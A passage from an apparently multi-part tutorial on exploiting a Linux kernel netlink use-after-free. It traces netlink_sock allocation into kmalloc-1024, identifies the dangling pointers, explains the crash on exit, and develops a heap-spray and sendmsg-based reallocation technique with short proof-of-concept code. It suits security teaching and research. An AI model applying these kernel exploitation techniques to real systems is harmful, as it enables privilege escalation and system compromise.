      // ... cut (error handling) ...
    }
    
[/code]

This is the only place where a protocol has the chance to have a dedicated
cache or not\! Since, _netlink\_proto\_init\(\)_ calls _proto\_register_ with
_alloc\_slab_ set to zero, **the netlink protocol uses _one_ of the general
cache**. As you might guess, the general cache in question will depend on the
proto's _obj\_size_. We will see this in the next section.

## Where is it allocated?

So far, we know that during "protocol registration", the netlink family
registers a **struct net\_proto\_family** that is _netlink\_family\_ops_. This
structure is pretty straighforward \(a _create_ callback\):

[code]

    struct net_proto_family {
        int     family;
        int     (*create)(struct net *net, struct socket *sock,
                      int protocol, int kern);
        struct module   *owner;
    };
    
[/code]

[code]

    static struct net_proto_family netlink_family_ops = {
        .family = PF_NETLINK,
        .create = netlink_create,               // <-----
        .owner  = THIS_MODULE,
    };
    
[/code]

When **netlink\_create\(\)** is invoked, a _struct socket_ has already been
allocated. Its purpose is to allocate the _struct netlink\_sock_ , associate
it to the socket and initialize both _struct socket_ and _struct
netlink\_sock_ fields. This is also where it does some sanity checks on the
socket type \(RAW, DGRAM\) and the netlink's protocol identifier
\(NETLINK\_USERSOCK, ...\).

[code]

    static int netlink_create(struct net *net, struct socket *sock, int protocol,
                  int kern)
    {
        struct module *module = NULL;
        struct mutex *cb_mutex;
        struct netlink_sock *nlk;
        int err = 0;
    
        sock->state = SS_UNCONNECTED;
    
        if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM)
            return -ESOCKTNOSUPPORT;
    
        if (protocol < 0 || protocol >= MAX_LINKS)
            return -EPROTONOSUPPORT;
    
      // ... cut (load the module if protocol is not registered yet - lazy loading) ...
    
        err = __netlink_create(net, sock, cb_mutex, protocol, kern);    // <-----
        if (err < 0)
            goto out_module;
    
      // ... cut...
    }
    
[/code]

In turn, **\_\_netlink\_create\(\)** is the "heart" of _struct netlink\_sock_
creation.

[code]

          static int __netlink_create(struct net *net, struct socket *sock,
                    struct mutex *cb_mutex, int protocol, int kern)
          {
            struct sock *sk;
            struct netlink_sock *nlk;
    
    [0]     sock->ops = &netlink_ops;
    
    [1]     sk = sk_alloc(net, PF_NETLINK, GFP_KERNEL, &netlink_proto);
            if (!sk)
              return -ENOMEM;
    
    [2]     sock_init_data(sock, sk);
    
            // ... cut (mutex stuff) ...
    
    [3]     init_waitqueue_head(&nlk->wait);
    
    [4]     sk->sk_destruct = netlink_sock_destruct;
            sk->sk_protocol = protocol;
            return 0;
          }
    
[/code]

The \_\_netlink\_create\(\) function does:

  * \[0\] - set the socket's proto\_ops VFT to **netlink\_ops**
  * \[1\] - **allocate a netlink\_sock using _prot- >slab_ and _prot- >obj\_size_ information**
  * \[2\] - initialize the sock's receive/send buffer, _sk\_rcvbuf/sk\_sndbuf_ variables, bind the socket to the sock, etc.
  * \[3\] - initialize the wait queue \(cf. part 2\)
  * \[4\] - define a _specialized_ destructor that will be called while freeing a _struct netlink\_sock_ \(cf. previous section\)

Finally, _sk\_alloc\(\)_ calls **sk\_prot\_alloc\(\)** \[1\] using the _struct
proto_ \(i.e. _netlink\_proto_\). **This is where the kernel uses a
_dedicated_ or a _general_ kmem\_cache for allocation**:

[code]

    static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,
            int family)
    {
        struct sock *sk;
        struct kmem_cache *slab;
    
        slab = prot->slab;
        if (slab != NULL) {
            sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO);      // <-----
    
        // ... cut (zeroing the freshly allocated object) ...
        }
        else
            sk = kmalloc(sk_alloc_size(prot->obj_size), priority);    // <-----
    
      // ... cut ...
    
      return sk;
    }
    
[/code]

As we've seen during netlink "protocol registration", it does not use any slab
\(i.e. _slab_ is NULL\), so it will call **kmalloc\(\)** \(i.e. general
purpose cache\).

Finally, we need to establish the call trace to _netlink\_create\(\)_. As one
might wonder, the entry point is the **socket\(\)** syscall. We won't unroll
all the path \(this is a good exercice though\). Here is the result:

[code]

    - SYSCALL(socket)
    - sock_create
    - __sock_create // allocates a "struct socket"
    - pf->create    // pf == netlink_family_ops
    - netlink_create
    - __netlink_create
    - sk_alloc
    - sk_prot_alloc
    - kmalloc
    
[/code]

Alright, we know where the _netlink\_sock_ is allocated and the type of
_kmem\_cache_ \(general purpose cache\), but we still don't know which
_kmem\_cache_ exactly \(kmalloc-32? kmalloc-64?\).

## Detecting the object size statically/dynamically

In the previous section, we've seen that the netlink\_sock object is allocated
from a _general purpose kmem\_cache_ with:

[code]

    kmalloc(sk_alloc_size(prot->obj_size), priority)
    
[/code]

Where **sk\_alloc\_size\(\)** is:

[code]

    #define SOCK_EXTENDED_SIZE ALIGN(sizeof(struct sock_extended), sizeof(long))
    
    static inline unsigned int sk_alloc_size(unsigned int prot_sock_size)
    {
        return ALIGN(prot_sock_size, sizeof(long)) + SOCK_EXTENDED_SIZE;
    }
    
[/code]

**NOTE** : The _struct sock\_extended_ structure has been created to extend
the original _struct sock_ without breaking the kernel ABI. This is not
required to understand this, we just need to remember that its size is added
to prior allocation.

That is: **sizeof\(struct netlink\_sock\) + sizeof\(struct sock\_extended\) +
SOME\_ALIGNMENT\_BYTES**.

It is important to remind that we do not actually need the _exact_ size. Since
we are allocating in a general purpose kmem\_cache, we just need to find the
"upper bounded" cache that can store our object \(cf. Core Concept \#3\).

**WARNING-1** : In "Core Concept \#3", it has been told that the general
kmemcaches have power-of-two sizes. This is not entirely true. Some systems
have other sizes like "kmalloc-96" and "kmalloc-192". The rationale is that
lots of objects are closer to these sizes than a power-of-two. Having such
caches reduces _internal fragmentation_.

**WARNING-2** : Using "debug only" methods can be a good starting point to get
a rough idea of the target object size. However, **those sizes will be wrong
on the production kernel** because of CONFIG\_\* preprocessors. It can vary
from some bytes to hundreds of bytes\! Also, you should pay a special
attention if the computed object size is close to a _kmem\_cache_ 's object
size boundary. For instance, a 260 bytes object will be in the kmalloc-512 but
might be reduced to 220 bytes on production \(hence kmalloc-256, that would be
painful\).

Using the Method \#5 \(see below\), **we found that our target size is
"kmalloc-1024"**. This is a nice cache to exploit _use-after-free_ , you will
see why in the reallocation section :-\).

**_Method \#1 \[static\]: Manual Computation_**

The idea is to sum each field's size "by hand" \(knowing a int is 4 byte, a
long is 8 bytes, etc.\). This method works great for "small" structures but is
**very error prone** for the bigger ones. One must take care of **alignment,
padding and packing**. For instance:

[code]

    struct __wait_queue {
        unsigned int flags;           // offset=0, total_size=4
                                      // offset=4, total_size=8 <---- PADDING HERE TO ALIGN ON 8 BYTES
        void *private;                // offset=8, total_size=16
        wait_queue_func_t func;       // offset=16, total_size=24
        struct list_head task_list;   // offset=24, total_size=40 (sizeof(list_head)==16)
    };
    
[/code]

This was an easy one. Now, look at **struct sock** and do it... good luck\!
This is even more error prone, since you need to consider every **CONFIG\_**
pre-processor macros and handle complex "union".

**_Method \#2 \[static\]: With 'pahole' \(debug only\)_**

pahole is a great tool to achieve this. It does the tedious previous task
_automatically_. For instance, to dump the layout of _struct socket_ :

[code]

    $ pahole -C socket vmlinuz_dwarf
    struct socket {
            socket_state               state;                /*     0     4 */
            short int                  type;                 /*     4     2 */
    
            /* XXX 2 bytes hole, try to pack */
    
            long unsigned int          flags;                /*     8     8 */
            struct socket_wq *         wq;                   /*    16     8 */
            struct file *              file;                 /*    24     8 */
            struct sock *              sk;                   /*    32     8 */
            const struct proto_ops  *  ops;                  /*    40     8 */
    
            /* size: 48, cachelines: 1, members: 7 */
            /* sum members: 46, holes: 1, sum holes: 2 */
            /* last cacheline: 48 bytes */
    };
    
[/code]

It sounds like the perfect tool for our task. However, it requires that the
kernel image has the DWARF symbols. Which won't be the case for production
kernel.

**_Method \#3 \[static\]: With Disassemblers_**

Well, you cannot exactly get the size given to _kmalloc\(\)_ since it is
computed dynamically. However, you might try to **look for offset** used in
those structures \(especially the last fields\) and then complete with manual
computation. We will actually use this later...

**_Method \#4 \[dynamic\]: With System Tap \(debug only\)_**

In part 1 we saw how to use Sytem Tap's Guru mode to write code _inside_ the
kernel \(i.e. a LKM\). We can re-use it here and just "replay" the
_sk\_alloc\_size\(\)_ function. Note that you may not be able to call
_sk\_alloc\_size\(\)_ directly because it has been inlined. However, you can
just copy/past its code and dump it.

Another way would be to probe the _kmalloc\(\)_ invokation during a
_socket\(\)_ syscall. Chances are multiples _kmalloc\(\)_ will occur, so how
to know which is the right one? You can _close\(\)_ the socket you've just
created, probe _kfree\(\)_ and then try to match the pointers with the ones in
_kmalloc\(\)_. Since the first argument of _kmalloc\(\)_ is the size, you will
find the correct one.

Alternatively, you can use the **print\_backtrace\(\)** function from a
kmalloc\(\). Beware\! System Tap discards messages if there is too much
output\!

**_Method \#5 \[dynamic\]: With "/proc/slabinfo"_**

This looks like the _poor man_ method but it actually works great\! If you
kmem\_cache uses a dedicated cache, then you directly have the object size in
the "objsize" column given you know the kmem\_cache's name \(cf. struct
proto\)\!

Otherwise, the idea is to implement a simple program which allocates lots of
your target object. For instance:

[code]

    int main(void)
    {
      while (1)
      {
        // allocate by chunks of 200 objects
        for (int i = 0; i < 200; ++i)
          _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);
        getchar();
      }
      return 0;
    }
    
[/code]

**NOTE** : What we do here is actually **heap spraying**.

In another window, run:

[code]

    watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'
    
[/code]

Then run the program, and type a key to provoke the next "allocation chunk".
After some time, you will see that one general purpose cache
"active\_objs/num\_objs" is growing and growing. This is our target
_kmem\_cache_\!

## Summary

Alright, it has been a long way to gather all this information. However, it
was necessary and allowed us to get a better understanding of the network
protocol API. I hope you now understand why KASAN is awesome. It does all this
job for you \(and more\)\!

Let's summarize this:

  * What is the allocator? **SLAB**
  * What is the object? **struct netlink\_sock**
  * What cache does it belong to? **kmalloc-1024**
  * Where is it allocated?

[code]

    - SYSCALL(socket)
    - sock_create
    - __sock_create // allocates a "struct socket"
    - pf->create    // pf == netlink_family_ops
    - netlink_create
    - __netlink_create
    - sk_alloc
    - sk_prot_alloc
    - kmalloc
    
[/code]

  * Where is it freed?

[code]

    - <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
    - sock_put
    - sk_free
    - __sk_free
    - sk_prot_free
    - kfree
    
[/code]

There is one last thing to analyze, and this is the "how" \(read/write? bad
deref? how many bytes?\). It will be covered in the next section.

* * *
# Analyze the UAF \(dangling pointers\)

_Let's get back to our bug\!_

In this section, we will identify our _UAF dangling pointers_ , why the
current _proof-of-concept_ code \(part 2\) crashes and why we are already
doing a _"UAF transfer"_ \(this is not an "official" term\) that is beneficial
to us.

## Identify the dangling pointers

Right now, the kernel _brutally_ crashes without having the opportunity to get
any error from **dmesg**. So, we don't have any call trace to understand what
is going on. The only sure thing is that it _constantly_ crashes when we hit a
key, never before. Of course, this is intended\! We actually _already_ did a
**UAF transfer**. Let's explain it.

During the exploit initialization, we do:

  * Create a NETLINK socket
  * Bind it
  * Fill its receive buffer
  * Dup it \(twice\)

That is, we are in the current situation:

[code]

    file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
    ----------+-----------+-----------+-----------+-----------+------------------------+----------------+
    3         | 2         | file_ptr  | file_ptr  | file_ptr  | socket_ptr             | sock_ptr       |
    
[/code]

Note the difference between **socket\_ptr** \(struct socket\) and
**sock\_ptr** \(struct netlink\_sock\).

Let's assume that:

  * fd=3 is "sock\_fd"
  * fd=4 is "unblock\_fd"
  * fd=5 is "sock\_fd2"

The _struct file_ associated to our netlink socket has a ref counter of
**three** because of 1 socket\(\) and 2 dup\(\). In turn, the sock refcounter
is **two** because of 1 socket\(\) and 1 bind\(\).

Now, let's consider that we trigger the bug once. As we know, the sock's
refcounter will be decreased by one, the file's refcounter decreased by one
and the _fdt\[5\]_ entry becomes NULL. Note that calling **close\(5\)** did
not decrease the sock refcounter by one \(the bug did it\)\!

The situation becomes:

[code]

    file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
    ----------+-----------+-----------+-----------+-----------+------------------------+----------------+
    2         | 1         | file_ptr  | file_ptr  | NULL      | socket_ptr             | sock_ptr       |
    
[/code]

Let's trigger the bug a second time:

[code]

    file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk      |
    ----------+-----------+-----------+-----------+-----------+------------------------+---------------------+
    1         | FREE      | NULL      | file_ptr  | NULL      | socket_ptr             | (DANGLING) sock_ptr |
    
[/code]

Again, close\(3\) did not drop a reference of the sock, the bug did it\!
Because the refcounter reaches zero, the sock is freed.

As we can see, the _struct file_ is still alive since the file descriptor 4 is
pointing on it. Moreover, **the _struct socket_ now has a _dangling pointer_
on the just-freed sock object**. This is the aforementioned UAF transfer.
Unlike the first scenario \(cf. part 1\), where the "sock" variable was the
dangling pointer \(in _mq\_notify\(\)_\), now it is the "sk" pointer of the
_struct socket_. In other words, we have "access" to the socket's dangling
pointer through the _struct file_ through the _unblock\_fd_ file descriptor.

You might wonder why "the struct socket" still has a dangling pointer? The
reason is, when the _netlink\_sock_ object is free with **\_\_sk\_free\(\)** ,
it does \(cf. previous section\):

  1. Call the sock's destructor \(i.e. _netlink\_sock\_destruct\(\)_\)
  2. Cals sk\_prot\_free\(\)

**NONE OF THEM ACTUALLY UPDATE THE "SOCKET" STRUCTURE\!**

If you look at **dmesg** before pressing a key \(in the exploit\), you will
find a similar message:

[code]

    [  141.771253] Freeing alive netlink socket ffff88001ab88000
    
[/code]

It comes from the sock's destructor **netlink\_sock\_destruct\(\)** \(called
by \_\_sk\_free\(\)\):

[code]

    static void netlink_sock_destruct(struct sock *sk)
    {
        struct netlink_sock *nlk = nlk_sk(sk);
    
      // ... cut ...
    
        if (!sock_flag(sk, SOCK_DEAD)) {
            printk(KERN_ERR "Freeing alive netlink socket %p\n", sk); // <-----
            return;
        }
    
      // ... cut ...
    }
    
[/code]

_Alright, we identified one dangling pointer... guess what... there are
more\!_

While binding the target socket with _netlink\_bind\(\)_ , we saw that the
reference counter has been increased by one. That's why we can reference it
with _netlink\_getsockbypid\(\)_. Without detailing much, _netlink\_sock_
pointers are stored inside the **nl\_table** 's hash list \(this is covered in
part 4\). While destroying the sock object, these pointers also became
dangling pointers.

It is important to identify **every** dangling pointer for two reasons:

  1. We can use them to exploit the _use-after-free_ , they give us the _UAF primitives_
  2. We will need to fix them during kernel reparation

Let's move on and understand why the kernel is crashing during the exit.

## Understand The Crash

In the previous section, we identified three dangling pointers:

  * the **sk** pointer in the _struct socket_
  * two _netlink\_sock_ pointers inside the **nl\_table hash list**

It is time to understand why the PoC crashes.

What happens when we press a key in the proof-of-concept code? The exploit
simply exits, but this means a lot. The kernel needs to release every
resources allocated to the process, otherwise that would be lots of memory
leak.

The exit procedure itself is a bit complexe it mostly starts in the
**do\_exit\(\)** function. At some point, it wants to release the file-related
resources. This roughly does:

  1. Function **do\_exit\(\)** is invoked \(\[kernel/exit.c\]\)
  2. It calls **exit\_files\(\)** which releases a reference of current's _struct files\_struct_ with **put\_files\_struct\(\)**
  3. Because it was the last reference, _put\_files\_struct\(\)_ calls **close\_files\(\)**
  4. _close\_files\(\)_ iterates over the FDT and calls **filp\_close\(\)** for every remaining file
  5.  _filp\_close\(\)_ calls **fput\(\)** on the file pointed by _"unblock\_fd"_
  6. Because it was the last reference, **\_\_fput\(\)** is invoked
  7. Finally, _\_\_fput\(\)_ calls the file operation **file- >f\_op->release\(\)** which is **sock\_close\(\)**
  8. _sock\_close\(\)_ calls _sock- >ops->release\(\)_ \(proto\_ops: _netlink\_release\(\)_\) and set _sock- >file_ to NULL
  9. From _netlink\_release\(\)_ , there is "a tons of use-after-free operations" which result in a crash

To keep it simple, because we did not close the **unblock\_fd** it will be
released when the program exits. In the end, **netlink\_release\(\)** will be
invoked. From here, there are just _too much_ UAF that it would be very lucky
if it does not crash:

[code]

    static int netlink_release(struct socket *sock)
    {
        struct sock *sk = sock->sk;         // <----- dangling pointer
        struct netlink_sock *nlk;
    
        if (!sk)                            // <----- not NULL because... dangling pointer
            return 0;
    
        netlink_remove(sk);                 // <----- UAF
        sock_orphan(sk);                    // <----- UAF
        nlk = nlk_sk(sk);                   // <----- UAF
    
      // ... cut (more and more UAF) ...
    }
    
[/code]

Wow... that's a lot of _UAF primitives_ , right? It is actually _too much_
:-\(... The problem is, that for every primitive it must:

  * Do something useful or a _no-op_
  * Do not crash \(due to BUG\_ON\(\)\) or bad deref

**Because of this,_netlink\_release\(\)_ is NOT a good candidate for
exploitation \(see next section\).**

Before going further, let's validate that this was the root cause of the crash
by modifying the PoC this way and run it:

[code]

    int main(void)
    {
      // ... cut ...
    
      printf("[ ] ready to crash?\n");
      PRESS_KEY();
    
      close(unblock_fd);
    
      printf("[ ] are we still alive ?\n");
      PRESS_KEY();
    }
    
[/code]

Nice, we don't see the _"\[ \] are we still alive?"_ message. Our intuition
was correct, the kernel crashes because of _netlink\_release\(\)_ UAFs. This
also means another important thing:

**We have a way to trigger the _use-after-free_ whenever we want\!**

Now that we have identified the dangling pointers, understood why the kernel
crash and thus, understood that we can trigger the UAF whenever we want, it is
actually time to \(finally\) exploit it\!

* * *
# Exploit \(Reallocation\)

_"This is not a drill\!"_

Independently of the bug, a _use-after-free_ exploitation \(w/ type
confusion\) needs a reallocation at some point. In order to do it, a
**reallocation gadget** is necessary.

A reallocation gadget is a mean to force the kernel to call kmalloc\(\) \(i.e.
a kernel code path\) from userland \(generally from a syscall\). The _ideal_
reallocation gadget has the following properties:

  * **fast** : no complex path before reaching _kmalloc\(\)_
  * **data control** : fills the data allocated by _kmalloc\(\)_ with arbitrary content
  * **no block** : the gadget does not block the thread
  * **flexible** : the size argument of _kmalloc\(\)_ is controllable

Unfortunately, it is pretty rare to find a single gadget that can do all of
this. A _well-known_ gadget is **msgsnd\(\)** \(System V IPC\). It is fast, it
does not block, you hit any _general purpose kmem\_cache_ starting with size
64. Alas, it can't control the first 48 bytes of data \(_sizeof\(struct
msg\_msg\)_\). We will not use it here, if you are curious about this gadget,
look at _sysv\_msg\_load\(\)_.

This section will introduce another _well-known_ gadget: **ancillary data
buffer** \(also called _sendmsg\(\)_\). Then it will expose the main issue
that can make your exploit fail and how to minimize the risk. To conclude this
section, we will see how to implement the reallocation from userland.

* * *
## Reallocation Introduction \(SLAB\)

In order to exploit _use-after-free_ with **type confusion** , we need to
allocate a controlled object **in place** of the old _struct netlink\_sock_.
Let's consider that this object was located at: 0xffffffc0aabbcced. **We can't
change this location\!**

"_If you can't come to them, let them come to you"_.

**The operation that consists in allocating an object at a very specific
memory location is called reallocation. Typically, this memory location is the
same than the object that has just been freed \(e.g._struct netlink\_sock_ in
our case\).**

With the SLAB allocator, this is pretty easy. Why? With the help of _struct
array\_cache_ , the SLAB uses a **LIFO algorithm**. That is, the last free'd
memory location of a given size \(kmalloc-1024\) will be the first one re-used
for an allocation of the same size \(cf. Core Concept \#3\). It is even more
_awesome_ since it is **independent of the slab**. You will miss this property
while trying to reallocate with the SLUB.

Let's describe the _kmalloc-1024_ cache:

  * Each object in the kmalloc-1024 kmem\_cache has a size of 1024
  * Each slab is composed of a single page \(4096 bytes\), hence there are 4 objects per slab
  * Let's assume the cache has two slabs for now

Before freeing the _struct netlink\_sock_ object, we are in this situation:

<img src='img/Temp2_4901.png' width='764' height='257' />

Note that the **ac- >available** is the index \(plus one\) of the next free
object. Then the _netlink\_sock_ object is free. In the _fastest path_ ,
freeing an object \(_kfree\(objp\)_\) is equivalent to:

[code]

    ac->entry[ac->avail++] = objp;  // "ac->avail" is POST-incremented
    
[/code]

It leads to this situation:

<img src='img/Temp2_4898.png' width='764' height='257' />

Finally, a _struct sock_ object is allocated \(_kmalloc\(1024\)_\) with
\(_fastest path_\):

[code]

    objp = ac->entry[--ac->avail];  // "ac->avail" is PRE-decremented
    
[/code]

Which leads to:

<img src='img/Temp2_4903.png' width='764' height='257' />

That's it\! **The memory location of the new _struct sock_ is the same than
the \(old\) memory location of the _struct netlink\_sock_** \(e.g.
0xffffffc0aabbccdd\). We did a _retake_ or "re-allocation". Not too bad,
right?

Well, **this is the ideal case**. In practice, multiple things can go wrong as
we will see later.

* * *
## Reallocation Gadget

The previous articles covered two socket buffers: the sending buffer and the
receiver buffer. There is actually a third one: **option buffer** \(also
called "ancillary data buffer"\). In this section, we will see how to fill it
with arbitrary data and use it as our reallocation gadget.

This gadget is accessible from the "upper" part of the _sendmsg\(\)_ syscall.
Function **\_\_sys\_sendmsg\(\)** is \(almost\) directly called by
_SYSCALL\_DEFINE3\(sendmsg\)_ :

[code]

          static int __sys_sendmsg(struct socket *sock, struct msghdr __user *msg,
                 struct msghdr *msg_sys, unsigned flags,
                 struct used_address *used_address)
          {
            struct compat_msghdr __user *msg_compat =
                (struct compat_msghdr __user *)msg;
            struct sockaddr_storage address;
            struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    [0]     unsigned char ctl[sizeof(struct cmsghdr) + 20]
                __attribute__ ((aligned(sizeof(__kernel_size_t))));
            /* 20 is size of ipv6_pktinfo */
            unsigned char *ctl_buf = ctl;
            int err, ctl_len, iov_size, total_len;
    
            // ... cut (copy msghdr/iovecs + sanity checks) ...
    
    [1]     if (msg_sys->msg_controllen > INT_MAX)
              goto out_freeiov;
    [2]     ctl_len = msg_sys->msg_controllen;
            if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
              // ... cut ...
            } else if (ctl_len) {
              if (ctl_len > sizeof(ctl)) {
    [3]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
                if (ctl_buf == NULL)
                  goto out_freeiov;
              }
              err = -EFAULT;
    
    [4]       if (copy_from_user(ctl_buf, (void __user *)msg_sys->msg_control,
                     ctl_len))
                goto out_freectl;
              msg_sys->msg_control = ctl_buf;
            }
    
            // ... cut ...
    
    [5]     err = sock_sendmsg(sock, msg_sys, total_len);
    
            // ... cut ...
    
          out_freectl:
            if (ctl_buf != ctl)
    [6]       sock_kfree_s(sock->sk, ctl_buf, ctl_len);
          out_freeiov:
            if (iov != iovstack)
              sock_kfree_s(sock->sk, iov, iov_size);
          out:
            return err;
          }
    
[/code]

It does:

  * \[0\] - declare a _ctl_ buffer of 36 bytes \(16 + 20\) on the stack
  * \[1\] - validate that the _user-provided msg\_controllen_ is smaller than or equal to _INT\_MAX_
  * \[2\] - copy the _user-provided msg\_controllen_ to _ctl\_len_
  * \[3\] - **allocate a kernel buffer _ctl\_buf_ of size _ctl\_len_ with _kmalloc\(\)_**
  * \[4\] - **copy _ctl\_len_ bytes of _user-provided data_ from _msg\_control_ to kernel buffer _ctl\_buf_ allocated at \[3\]**
  * \[5\] - call _sock\_sendmsg\(\)_ which will call a socket's callback _sock- >ops->sendmsg\(\)_
  * \[6\] - free the kernel buffer _ctl\_buf_

Lots of _user-provided_ stuff, isn't it? Yup, that's why we like it\! To
summarize, we can allocate a kernel buffer with _kmalloc\(\)_ with:

  * **msg- >msg\_controllen**: arbitrary size \(must be greater than 36 but lesser than _INT\_MAX_\)
  * **msg- >msg\_control**: arbitrary content

Now, let's see what **sock\_kmalloc\(\)** does:

[code]

          void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
          {
    [0]     if ((unsigned)size <= sysctl_optmem_max &&
                atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
              void *mem;
              /* First do the add, to avoid the race if kmalloc
               * might sleep.
               */
    [1]       atomic_add(size, &sk->sk_omem_alloc);
    [2]       mem = kmalloc(size, priority);
              if (mem)
    [3]         return mem;
              atomic_sub(size, &sk->sk_omem_alloc);
            }
            return NULL;
          }
    
[/code]

First, the _size_ argument is checked against the **kernel parameter
"optmem\_max"** \[0\]. It can be retrieved with the procfs:

[code]

    $ cat /proc/sys/net/core/optmem_max
    
[/code]

If the provided size is smaller than that, then the size is added to the
_current_ option memory buffer size and check that it is smaller than
"optmem\_max" \[0\]. We will need to check this in the exploit. Remember, our
target _kmem\_cache_ is **kmalloc-1024**. If the "optmem\_max" size is smaller
than or equal to 512, then we are screwed\! In that case, we should find
another reallocation gadget. The **sk\_omem\_alloc** is initialized at zero
during sock creation.

**NOTE** : Remember that _kmalloc\(512 + 1\)_ will land in the _kmalloc-1024_
cache.

If the check \[0\] is passed, then the _sk\_omem\_alloc_ value is increased by
_size_ \[1\]. Then, there is a call to **kmalloc\(\)** using the _size_
argument. If it succeeds, the pointer is returned \[3\], otherwise
_sk\_omem\_alloc_ is reduced by _size_ and the function returns _NULL_.

Alright, we can call _kmalloc\(\)_ with an almost arbitrary size \(\[36,
sysctl\_optmem\_max\[\) and its content will be filled with arbitrary value.
There is a problem though. The _ctl\_buf_ buffer will be automatically freed
when _\_\_sys\_sendmsg\(\)_ exits \(\[6\] in previous listing\). That is,
**the call \[5\]_sock\_sendmsg\(\)_ must block** \(i.e. _sock-
>ops->sendmsg\(\)_\).

## Blocking sendmsg\(\)

In the previous article, we saw how to make a _sendmsg\(\)_ call block: **fill
the receive buffer**. One might be tempted to do the same thing with
_netlink\_sendmsg\(\)_. Unfortunately, we can't re-use it there. The reason is
_netlink\_sendmsg\(\)_ will call _netlink\_unicast\(\)_ which calls
**netlink\_getsockbypid\(\)**. Doing so, will **deref the nl\_table's hash
list _dangling pointer_** \(i.e. _use-after-free_\).

That is, we must use another socket family: **AF\_UNIX**. You can probably use
another one but this one is nice since it is guaranteed to be present almost
everywhere and does not require specific privileges.

**WARNING** : We will not describe the AF\_UNIX implementation \(especially
_unix\_dgram\_sendmsg\(\)_\), that would be too long. It is not that complex
\(lots of similarities from AF\_NETLINK\) and we only want two things:

  * allocate arbitrary data in the "option" buffer \(cf. last section\)
  * make the call to _unix\_dgram\_sendmsg\(\)_ blocking

Like _netlink\_unicast\(\)_ , a _sendmsg\(\)_ can be blocking if:

  1. The destination receive buffer is full
  2. The sender socket's timeout value is set to _MAX\_SCHEDULE\_TIMEOUT_

In _unix\_dgram\_sendmsg\(\)_ \(like _netlink\_unicast\(\)_\), this _timeo_
value is computed with:

[code]

    timeo = sock_sndtimeo(sk, msg->msg_flags & MSG_DONTWAIT);
    
[/code]

[code]

    static inline long sock_sndtimeo(const struct sock *sk, int noblock)
    {
        return noblock ? 0 : sk->sk_sndtimeo;
    }
    
[/code]

That is, if we do not set the _noblock_ argument \(i.e. don't use
MSG\_DONTWAIT\), the timeout value is **sk\_sndtimeo**. Fortunately, this
value can be controlled _via_ **setsockopt\(\)** :

[code]

    int sock_setsockopt(struct socket *sock, int level, int optname,
                char __user *optval, unsigned int optlen)
    {
        struct sock *sk = sock->sk;
    
      // ... cut ...
    
        case SO_SNDTIMEO:
            ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
            break;
    
      // ... cut ...
    }
    
[/code]

It calls **sock\_set\_timeout\(\)** :

[code]

    static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
    {
        struct timeval tv;
    
        if (optlen < sizeof(tv))
            return -EINVAL;
        if (copy_from_user(&tv, optval, sizeof(tv)))
            return -EFAULT;
        if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)
            return -EDOM;
    
        if (tv.tv_sec < 0) {
        // ... cut ...
        }
    
        *timeo_p = MAX_SCHEDULE_TIMEOUT;          // <-----
        if (tv.tv_sec == 0 && tv.tv_usec == 0)    // <-----
            return 0;                             // <-----
    
      // ... cut ...
    }
    
[/code]

In the end, if we call _setsockopt\(\)_ with the _SO\_SNDTIMEO_ option, and
giving it a _struct timeval_ filled with zero. It will set the timeout to
MAX\_SCHEDULE\_TIMEOUT \(i.e. block indefinitely\). It does not require any
specific privileges.

One problem solved\!

The second problem is that we need to **deal with the code that uses the
control buffer data**. It is called very early in _unix\_dgram\_sendmsg\(\)_ :

[code]

    static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock,
                      struct msghdr *msg, size_t len)
    {
        struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
        struct sock *sk = sock->sk;
    
      // ... cut (lots of declaration) ...
    
        if (NULL == siocb->scm)
            siocb->scm = &tmp_scm;
        wait_for_unix_gc();
        err = scm_send(sock, msg, siocb->scm, false);     // <----- here
        if (err < 0)
            return err;
    
      // ... cut ...
    }
    
[/code]

We already passed this check in the previous article but there is something
different now:

[code]

    static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                       struct scm_cookie *scm, bool forcecreds)
    {
        memset(scm, 0, sizeof(*scm));
        if (forcecreds)
            scm_set_cred(scm, task_tgid(current), current_cred());
        unix_get_peersec_dgram(sock, scm);
        if (msg->msg_controllen <= 0)         // <----- this is NOT true anymore
            return 0;
        return __scm_send(sock, msg, scm);
    }
    
[/code]

As you can see, we are now using the **msg\_control** \(hence
_msg\_controllen_ is positive\). That is, **we can't bypass
_\_\_scm\_send\(\)_ anymore and it needs to return 0**.

Let's starts by exposing the "ancillary data object information" structure:

[code]

    struct cmsghdr {
      __kernel_size_t cmsg_len;   /* data byte count, including hdr */
      int             cmsg_level;   /* originating protocol */
      int             cmsg_type;    /* protocol-specific type */
    };
    
[/code]

This is a **16 bytes** data structure which must be located at the very
beginning of our "msg\_control" buffer \(the one with arbitrary data\). Its
usage actually depends on the socket type. One can see them as, "do something
special" with the socket. For instance, in the UNIX socket, it can be used to
pass "credentials" over a socket.

**The control message buffer \(_msg\_control_\) can hold one or more control
message\(s\). Each control message is composed of a header and the data.**

The first control message header is retrieved with the **CMSG\_FIRSTHDR\(\)**
macro:

[code]

    #define CMSG_FIRSTHDR(msg)  __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)
    
    #define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \
                      (struct cmsghdr *)(ctl) : \
                      (struct cmsghdr *)NULL)
